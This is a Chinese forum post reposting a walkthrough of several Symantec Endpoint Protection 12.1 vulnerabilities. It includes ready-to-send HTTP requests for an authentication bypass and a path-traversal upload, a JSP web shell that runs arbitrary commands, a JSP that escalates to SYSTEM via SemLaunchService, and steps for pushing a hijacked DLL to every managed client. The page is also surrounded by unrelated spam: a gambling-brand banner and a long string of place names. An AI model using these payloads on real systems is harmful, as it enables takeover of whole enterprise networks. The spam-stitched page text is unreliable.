金年会 金字招牌诚信至上,金年会 金字招牌诚信至上,金年会 金字招牌诚信至上,金年会 金字招牌诚信至上

 找回密碼
 注冊

QQ登錄

只需一步,快速開(kāi)始

查看: 2164|回復: 0
打印 上一主題 下一主題

[討論] 利用賽門(mén)鐵克Symantec Endpoint Protection漏洞滲透企業(yè)網(wǎng)絡(luò )

跳轉到指定樓層
1#
琉璃月 發(fā)表于 2015-8-7 08:30:38 | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式 來(lái)自 中國遼寧

馬上注冊,結交更多好友,享用更多功能。

您需要 登錄 才可以下載或查看,沒(méi)有帳號?注冊

x

1.引言

Markus Wulftange在7月30日報告了賽門(mén)鐵克端點(diǎn)保護Symantec Endpoint Protection (SEP)  12.1的數個(gè)高危漏洞。只有升級到12.1 RU6 MP1的版本不被影響。
簡(jiǎn)單介紹一下,SEP 是一個(gè)企業(yè)版的殺毒產(chǎn)品,分為管理端和客戶(hù)端。管理端是提供web UI,允許管理員管理和察看客戶(hù)端的狀態(tài)和客戶(hù)端的病毒感染事件等等。而客戶(hù)端基本上就是一個(gè)普通的賽門(mén)鐵克殺毒軟件,但是接受管理端的管理并且定時(shí)上報自己的狀態(tài)。值得一提的是,管理員還可以在管理端部署安裝升級包,以便客戶(hù)端通過(guò)管理端來(lái)進(jìn)行升級。
這種架構的問(wèn)題是,一旦攻擊者拿下了管理端,得到了管理員的權限,那么他就可以重新部署安裝升級包,把木馬藏進(jìn)安裝包,推送至客戶(hù)端執行,從而拿下整個(gè)企業(yè)網(wǎng)絡(luò )。
本文重點(diǎn)介紹這幾個(gè)漏洞和利用方法:攻擊者最終可以在管理端和所有客戶(hù)端得到 'NT Authority\SYSTEM' 的權限。
2.攻擊SEP管理端

攻擊以SEP管理端的登陸頁(yè)面為突破口,因為登陸頁(yè)面是暴露在最外層的接口。


                               
登錄/注冊后可看大圖
!small

2.1 CVE-2015-1486: 繞過(guò)SEP管理端登陸認證
當用戶(hù)認證以后,setAdminCredential()把用戶(hù)信息存在與當前session相關(guān)的AdminCredential對象中。而閱讀源代碼后發(fā)現,setAdminCredential()在兩個(gè)地方被調用,一個(gè)在LoginHandler類(lèi)里面,一個(gè)在ResetPasswordHandler類(lèi)里面。奇怪的是,setAdminCredential()為什么會(huì )在ResetPasswordHandler類(lèi)里面被調用呢?看起來(lái)很可疑,這個(gè)值得我們研究一下。從名稱(chēng)上看,ResetPasswordHandler類(lèi)用來(lái)處理口令重置,其中handleRequest()方法的代碼如下
/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  72 */     this.requestData = requestData;
/*  73 */     String userName = (String)requestData.get("UserID");
/*  74 */     String domainName = (String)requestData.get("Domain");
/*     */
/*  76 */     NodeList list = doc.getElementsByTagName("Response");
/*  77 */     Element root = (Element)list.item(0);
/*     */     try
/*     */     {
/*  80 */       if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {
/*  81 */         throw new ServerException(-2130182144, 186);
/*     */       }
/*     */
/*  84 */       checkIfSiteCanRecoverPasswords();
/*  85 */       init();
/*     */
/*  87 */       if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {
/*  88 */         ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");
/*  89 */         throw new ServerException(-2130182144, 179);
/*     */       }
/*     */
/*  92 */       AdminCredential credential = getCredential(requestData, session);
/*     */
/*  94 */       if ((credential != null) && (credential.getAdminID() != null)) {
/*  95 */         Integer mode = credential.getOptAuthenticationMethod();
/*  96 */         if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {
/*  97 */           ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");
/*     */
/* 100 */           throw new ServerException(-2130182144, 191);
/*     */         }
/*     */
/*     */       }
/*     */
/* 106-137 skipped */
/*     */
/*     */     }
/*     */     catch (ServerException e) {
/* 142 */       root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));
/*     */     }
/*     */   }
92行調用了getCredential()方法,用以取出AdminCredential對象。AdminCredential對象包含用戶(hù)的信息,比如用戶(hù)名,郵箱地址,口令hash值等等。以下是getCredential()的代碼
/*     */   protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException
/*     */   {
/* 367 */     session = session.getNewSession();
/* 368 */     AdminCredential credential = doGetAdminCredentialWithoutAuthentication();
/* 369 */     session.setAdminCredential(credential);
/* 370 */     return credential;
/*     */   }
367行創(chuàng )建了一個(gè)新的session,也就產(chǎn)生了一個(gè)新的JsessionID cookie。有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()無(wú)需任何認證就根據用戶(hù)輸入的用戶(hù)名和域名得到了一個(gè)AdminCredential對象。
最后,在369行,這個(gè)AdminCredential對象和新創(chuàng )建的session關(guān)聯(lián)起來(lái)。使得該session成為了一個(gè)擁有SEP管理員權限的session.也就是說(shuō),發(fā)出一個(gè)口令重設請求,你就得到了一個(gè)擁有SEP管理員權限的session.
發(fā)一個(gè)POST請求驗證一下
POST /servlet/ConsoleServlet HTTP/1.1
Host: 192.168.40.133:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
ActionType=ResetPassword&UserID=admin&Domain=
得到
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/xml;charset=UTF-8
Date: Tue, 30 Jun 2015 11:19:30 GMT
Server: SEPM
Content-Length: 971

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Response ResponseCode="-2130181964">
  <ReportingElement><?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/>
</ReportingElement>
</Response>
這個(gè)HTTP響應包含了一個(gè)JSESSIONID cookie,用于關(guān)聯(lián)新創(chuàng )建的管理員session。注意,雖然有管理員權限,但是由于某些限制,這個(gè)session還是無(wú)法用于直接登陸管理端。然而測試發(fā)現攻擊者可以用這個(gè)session使用其他web API,比如,創(chuàng )建一個(gè)新的管理員賬號。從而攻擊者可以用這個(gè)新創(chuàng )建的賬號登陸管理端。而且這個(gè)session還可以繼續用于下一個(gè)漏洞。
2.2 CVE-2015-1487: 任意文件寫(xiě)入
UploadPackage允許管理員把客戶(hù)端的安裝包上傳到管理端,以便客戶(hù)端升級維護。 然而這里有一個(gè)任意文件寫(xiě)入的漏洞,看源代碼
/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  54 */     NodeList list = doc.getElementsByTagName("Response");
/*  55 */     Element root = (Element)list.item(0);
/*  56 */     String action = (String)requestData.get("Action");
/*  57 */     String id = (String)requestData.get("GUID");
/*  58 */     String fileType = (String)requestData.get("FILE_TYPE");
/*  59 */     String newId = (String)requestData.get("NEW_GUID");
/*     */
/*  60-187 skipped */
/*     */
/* 189 */       if (action.equalsIgnoreCase("UploadPackage")) {
/* 190 */         String fileName = (String)requestData.get("PackageFile");
/* 191 */         String dirName = (String)requestData.get("KnownHosts");
/*     */        
/* 193 */         this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);
/*     */        
/*     */
/* 196 */         if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {
/* 197 */           this.packageTempPath = (this.packageTempPath + File.separator + dirName);
/*     */         }
/* 199 */         String path = this.packageTempPath + File.separator + fileName;
/* 200 */         FileOutputStream fos = null;
/* 201 */         BufferedOutputStream bos = null;
/* 202 */         Object is = null;
/* 203 */         BufferedInputStream bis = null;
/*     */        
/* 205 */         File folder = new File(this.packageTempPath);
/* 206 */         if (!folder.exists()) {
/* 207 */           if (!folder.mkdirs()) {
/* 208 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */           }
/*     */         }
/*     */         else {
/*     */           try
/*     */           {
/* 214 */             Utility.emptyDir(folder.getCanonicalPath(), false);
/*     */           } catch (IOException e) {
/* 216 */             ServerLogger.log(this, e);
/* 217 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */            
/* 219 */             return;
/*     */           }
/*     */         }
/*     */        
/* 223 */         byte[] buf = new byte[1024];
/* 224 */         int read = 0;
/*     */         try
/*     */         {
/* 227 */           is = new BufferedInputStream(requestData.getInputStream());
/* 228 */           fos = new FileOutputStream(path);
/* 229 */           bos = new BufferedOutputStream(fos);
/* 230 */           bis = new BufferedInputStream((InputStream)is);
/* 231 */           while ((read = bis.read(buf)) > 0) {
/* 232 */             bos.write(buf, 0, read);
/*     */           }
/* 234 */           bos.flush();
/* 235 */           root.setAttribute("ResponseCode", String.valueOf(0));
/*     */         } catch (IOException ex) {
/* 237 */           ServerLogger.log(this, ex);
/* 238 */           root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */         }
/*     */         finally
/*     */         {
/* 242 */           IOUtilities.closeInputStream((InputStream)is);
/* 243 */           IOUtilities.closeInputStream(bis);
/* 244 */           IOUtilities.closeOutputStream(fos);
/* 245 */           IOUtilities.closeOutputStream(bos);
/*     */         }
/*     */        
/* 247-328 skipped */
/*     */        
/*     */       }
/*     */   }
注意189行到191行,上傳文件時(shí),文件名和文件目標路徑分別取值于PackageFile和KnownHosts屬性。
196行,這里有個(gè)檢查,目標路徑禁止包含'/' and ’\\’,可惜的是,檢查過(guò)以后,199行又把文件名和目標路徑組裝在了一起。那么,如果我們把目標路徑寫(xiě)在文件名里面,就可以繞過(guò)檢查。
POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1
Host: 192.168.40.133:8443
Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40
Content-Length: 124

<%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%>
這樣,我們就可以得到一個(gè) 'NT Service\semsrv'的權限的cmd.
2.3 CVE-2015-1489: SEP管理端主機提權
在SEP管理端, 有一個(gè)名為SemLaunchSvc.exe的服務(wù)。該服務(wù)有'NT Authority\SYSTEM'權限,用來(lái)處理一些需要高權限的操作,比如實(shí)時(shí)升級等。這個(gè)服務(wù)監聽(tīng)本地8447端口與管理端程序通信。而管理端用一個(gè)名為SemLaunchService的類(lèi)來(lái)實(shí)現和SemLaunchSvc.exe通信。該類(lèi)支持CommonCMD,可以打開(kāi)一個(gè)cmd。
既然我們已經(jīng)可以上傳并執行任意java代碼,那么我們可以進(jìn)一步調用SemLaunchService中的CommonCMD, 從而得到管理端主機的 'NT Authority\SYSTEM' 權限。
<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%
try {
              out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd"))));
       } catch (Exception e) {
       }
%>
3. 攻擊SEP客戶(hù)端
3.1 CVE-2015-1492:SEP 客戶(hù)端二進(jìn)制植入
一旦有了管理端的權限,攻擊者就可以在管理端添加一個(gè)修改過(guò)的客戶(hù)端升級安裝包,然后通過(guò)管理端把偽裝的安裝包推送到客戶(hù)端上并執行。當然這里還要用到一個(gè)DLL劫持漏洞。這個(gè)漏洞劫持或者替換正常的DLL,欺騙正常程序加載攻擊者預先準備好的惡意DLL。
安裝升級SEP客戶(hù)端的時(shí)候,SEP客戶(hù)端ccSvcHst.exe首先會(huì )打開(kāi)安裝包,在里面找到一個(gè)名為smcinst.exe的程序,并且啟動(dòng)之,而smcinst.exe會(huì )調用一些系統DLL, 比如說(shuō)UxTheme.dll。這里很可能smcinst.exe使用了相對路徑來(lái)調入DLL, 并且沒(méi)有檢查DLL的簽名。這樣攻擊者只要在安裝包里加入一個(gè)偽造的UxTheme.dll就可以啦!由于LoadLibrary的特性,同在安裝包下的這個(gè)偽造的UxTheme.dll會(huì )優(yōu)先被調入。而一旦被調入,這個(gè)偽造的UxTheme.dll可以擁有NT Authority\SYSTEM權限。
那怎么把偽造的dll文件加到安裝包里面,并推送到客戶(hù)端呢?
1. 在SEP管理端導出安裝包
2. 修改該安裝包的版本為更高版本,比如12.2.0000,把準備好的惡意UxTheme.dll文件拷入安裝包
3. 在SEP管理端導入安裝包并修改升級選項。
4. 總結
管理端的保護是眾中之重,一旦管理端被突破,客戶(hù)端則難保,從而整個(gè)企業(yè)網(wǎng)絡(luò )淪陷。
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規則

快速回復 返回頂部 返回列表
揭西县| 沁阳市| 镶黄旗| 高唐县| 恩平市| 马公市| 南澳县| 临泉县| 绿春县| 出国| 舞钢市| 潮州市| 岑溪市| 涪陵区| 安宁市| 广东省| 土默特右旗| 七台河市| 高雄市| 胶南市| 万全县| 淮滨县| 西乡县| 望都县| 中方县| 攀枝花市| 萨迦县| 黔西县| 涪陵区| 枣庄市| 永新县| 通州市| 太原市| 临高县| 文登市| 通化市| 廉江市| 丰台区| 伊金霍洛旗| 辽阳市| 前郭尔|